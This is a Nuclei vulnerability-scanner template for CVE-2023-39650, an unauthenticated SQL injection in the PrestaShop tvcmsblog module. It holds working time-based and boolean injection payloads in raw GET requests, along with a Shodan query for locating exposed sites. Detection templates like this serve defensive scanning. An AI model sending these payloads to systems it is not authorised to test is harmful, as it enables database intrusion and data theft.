76 lines
2.5 KiB
YAML
76 lines
2.5 KiB
YAML
id: CVE-2023-39650
|
|
|
|
info:
|
|
name: PrestaShop Theme Volty CMS Blog - SQL Injection
|
|
author: mastercho
|
|
severity: critical
|
|
description: |
|
|
In the module 'Theme Volty CMS Blog' (tvcmsblog) up to versions 4.0.1 from Theme Volty for PrestaShop, a guest can perform SQL injection in affected versions.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
|
|
reference:
|
|
- https://security.friendsofpresta.org/modules/2023/08/24/tvcmsblog.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-39650
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2023-39650
|
|
cwe-id: CWE-89
|
|
epss-score: 0.04685
|
|
epss-percentile: 0.91818
|
|
metadata:
|
|
max-request: 4
|
|
verified: true
|
|
framework: prestashop
|
|
shodan-query: html:"/tvcmsblog"
|
|
tags: time-based-sqli,cve,cve2023,prestashop,sqli,tvcmsblog
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_any(tolower(response), "prestashop", "tvcmsblog")'
|
|
internal: true
|
|
|
|
- raw:
|
|
- |
|
|
@timeout: 20s
|
|
GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+(SELECT+7826+FROM+(SELECT(SLEEP(8)))oqFL)--+yxoW HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
- |
|
|
@timeout: 20s
|
|
GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+5484=5484--+xhCs HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
- |
|
|
@timeout: 20s
|
|
GET /module/tvcmsblog/single?SubmitCurrency=1&id=14&id_currency=2&page_type=post"+AND+5484=5485--+xhCs HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
host-redirects: true
|
|
matchers:
|
|
- type: dsl
|
|
name: time-based
|
|
dsl:
|
|
- 'duration_1>=8'
|
|
- 'status_code_1 == 200 && contains(body_1, "tvcmsblog")'
|
|
condition: and
|
|
|
|
- type: dsl
|
|
name: blind-based
|
|
dsl:
|
|
- 'status_code_2 == 200 && contains(body_2, "tvcmsblog")'
|
|
- 'status_code_2 == 200 && status_code_3 == 302'
|
|
condition: and
|
|
# digest: 490a0046304402204cb71fbf7481ceef3f0d927c3774d07ed82cfd448fc897d65a0fd88c154d643e022040b7e1c42c335323c7fac2799ee2878d3f82121f12c36242021836a7b61d0046:922c64590222798bb761d5b6d8e72950 |